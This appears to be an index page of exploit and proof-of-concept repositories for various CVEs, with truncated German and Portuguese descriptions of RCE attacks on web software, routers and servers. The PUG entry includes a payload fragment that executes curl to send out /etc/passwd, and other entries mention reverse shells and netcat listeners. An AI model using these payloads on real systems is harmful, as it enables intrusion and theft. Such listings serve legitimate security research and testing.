Pluck-CMS-v4.7.18-Remote-Code-Execution-CVE-2023-50564

CVE-2023-50564 - Pluck CMS v4.7.18 Remote Code Execution RCE Exploit Beschreibung Dieses Skript nutzt eine Remote Code Execution RCE-Sicherheitslücke in Pluck CMS v4.7.18 aus. Die Schwachstelle erlaubt es einem Angreifer, eine schadhafte PHP-Datei auf den Server hochzuladen und auszuführen, wodur...

detect-CVE-2019-15107-by-pyshark

detect-CVE-2019-15107-by-pyshark I. Überblick über CVE-2019-15107 Webmin ist eine webbasierte Oberfläche zur Systemadministration für Unix. Mit jedem Webbrowser können Benutzerkonten, Apache, DNS, Dateifreigaben und mehr eingerichtet werden. Am 10. August 2019 veröffentlichte der türkische...

CVE-2019-0232

CVE-2019-0232 Exploit Remote Code Execution RCE im CGI Servlet – Apache Tomcat unter Windows Referenz : https://wwws.nightwatchcybersecurity.com/2019/04/30/remote-code-execution-rce-in-cgi-servlet-apache-tomcat-on-windows-cve-2019-0232/ Apache Tomcat weist eine Schwachstelle im CGI Servlet auf, d...

CVE-2015-1578-PoC

CVE-2015-1578-PoC Übersicht Dies ist ein Proof-of-Concept-Exploit für CVE-2015-1578 , eine Pufferüberlauf-Schwachstelle in Achat 0.150 beta7 unter Windows. Die Ausnutzung führt über ein manipuliertes UDP-Paket zur Remote-Codeausführung. Zweck Dieser PoC soll als sauberes, minimales und gut...

CVE-2019-12840

CVE-2019-12840 Authenticated RCE in Webmin 1.910 - 'Package Updates' Verwendung : 1- Richten Sie einen netcat-Listener ein. 2- python3 exploit.py Hinweise: Geben Sie die URL an, z. B.: http://:port Bitte kopieren Sie das 'sid'-Cookie aus Ihrem Browser und geben Sie es an, damit der Exploit...

cve-2017-5941-poc-docker-lab

CVE-2017-5941 — node-serialize Nicht vertrauenswürdige Deserialisierung RCE PoC ⚠️ Nur für Lab / Selbstbewertung. Verwenden Sie nur auf Systemen, die Ihnen gehören oder für die Sie autorisiert sind zu testen. Dieses Repository bietet: Ein minimales PoC-Skript zur Reproduktion von CVE-2017-5941...

CVE-2024-21413

CVE-2024-21413 - Kritische Schwachstelle zur Remote-Codeausführung in Microsoft Outlook Einrichtung 1. Erstellen Sie eine config.ini-Datei im selben Verzeichnis wie das Skript mit folgendem Format: emailcredentials senderemail = [email protected] senderpassword = yourapppassword smtpserver =...

CVE-2021-41773

Apache Path-Traversal- & RCE-Exploit CVE-2021-41773 & CVE-2021-42013 Hierbei handelt es sich um kritische Path-Traversal-Schwachstellen, die Apache HTTP Server 2.4.49 und 2.4.50 betreffen. Sie ermöglichen Angreifern: Zugriff auf Dateien außerhalb des Web-Roots LFI Ausführung von Remote Code RCE,...

CVE-2025-25257-Exploit-Tool

CVE-2025-25257 Exploit-Tool Credits Based on watchTowr Labs, 0xbigshaq, and pwner.gg analyses. Warnungen For educational purposes only. Use on authorized systems. Modifies database/filesystem. Verbessertes Python-Tool zur Erkennung und Ausnutzung von CVE-2025-25257 Pre-Auth SQLi zu RCE in Fortine...

NGINX_RIFT_SCAN_CVE_2026_42945

NGINX Rift-Konfigurationsscanner Sprache: Chinesisch | English Dies ist ein leichtgewichtiges Skript zur Überprüfung von NGINX-Konfigurationen auf Risikomuster der CVEs CVE-2026-42945 NGINX Rift und CVE-2026-9256. Die Schwachstelle wurde von depthfirst im Artikel NGINX Rift: Achieving NGINX RCE v...

cve-2026-32475-elementor-pro-lab

CVE-2026-32475 — Upload arbitrário de arquivo não autenticado no Elementor Pro Forms → RCE Laboratório A/B em Docker que reproduz a CVE-2026-32475 CVSS 9.x, Patchstack; campo File Upload do Elementor Pro Forms, afetado ≤ 4.2.1, corrigido na 4.2.2 em 2026-08-19; relatada por Tin Pham / TF1T. Não...

log4j-rce-test

Compilação ./build.sh Iniciar servidor RCE log4j ./start-log4j-rce-server.sh Teste Execute java -cp log4j-rce-1.0-SNAPSHOT-all.jar log4j Verifique se você recebe logs no hack.log a partir da pasta atual Você pode alterar esta linha String cmds = "sh", "-c", "echo 'Exploit at '" + getDateString + ...

CVE-2018-16119

CVE-2018-16119: Authentifizierte Remotecodeausführung in TP-Link WR1043ND Übersicht CVE-2018-16119 ist eine kritische Schwachstelle für authentifizierte Remotecodeausführung, die TP-Link TL-WR1043ND Router betrifft. Diese Schwachstelle ermöglicht es authentifizierten Angreifern, beliebige Befehle...

CVE-2026-75865

CVE-2026-75865 — WPLP Cookie Consent gdpr-cookie-consent ≤ 4.4.1 Prova de conceito e análise técnica para CVE-2026-75865 , um upload arbitrário de arquivos não autenticado que leva à execução remota de código no plugin WPLP Cookie Consent – Cookie Banner & Consent Management for GDPR, CCPA & Goog...

CVE-2022-0848

CVE-2022-0848 Remote Code Execution RCE in part-db 0.5.11 Ändere den Host in der bash-Datei und führe sie aus...

PUG-RCE-CVE-2021-21353-POC

PUG-RCE CVE-2021-21353 POC Informationen zur Schwachstelle CVE-Nummer : cve-2021-21353 CVSS-Score : 8.1 pugversion ';=' ?pretty=';process.mainModule.constructor.load'childprocess'.exec'curl -X POST -d "$cat /etc/passwd" ';='...

CVE-2024-6386

CVE-2024-6386 - RCE per Twig SSTI in WPML PoC PoC auf Python+Selenium Detaillierte Forschung auf Russisch: CVE-2024-6386 CVSS Basisbewertung: 9.9 Vektor: CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:H Zusammenfassung In WPML können Sie bestimmte WordPress Shortcodes verwenden, die es Ihnen...

cve-2023-46604

Apache ActiveMQ CVE-2023-46604 CVE-2023-46604 ist eine weit verbreitete Schwachstelle, die auf der KEV-Liste von CISA erscheint. Diese Go-Exploit-Implementierung kann eine Reverse-Shell auf den Zielen mit einem Nashorn-Payload ausführen oder eine Binärdatei herunterladen und auf dem Ziel ausführe...

s2-062

s2-062 Remote-Codeausführung S2-062 CVE-2021-31805 Verifikations-POC Verifikationsmethode Vulfocus-Zielumgebungsproblem Im POC wird das s2-061-Ziel verifiziert, der Parameter ist id, der neue Zielparameter ist name Die Entscheidung für id basiert hauptsächlich darauf, dass mir keine guten...

CVE-2021-1675

CVE-2021-1675 - PrintNightmare DSC-Abschwächung PowerShell Kougyoku Gentou | 1. Juli 2021 CVE-2021-1675 ist eine kritische Sicherheitslücke, die eine Remote-Codeausführung und lokale Rechteausweitung ermöglicht und als "PrintNightmare" bezeichnet wird. Die Abschwächung besteht darin, den Print...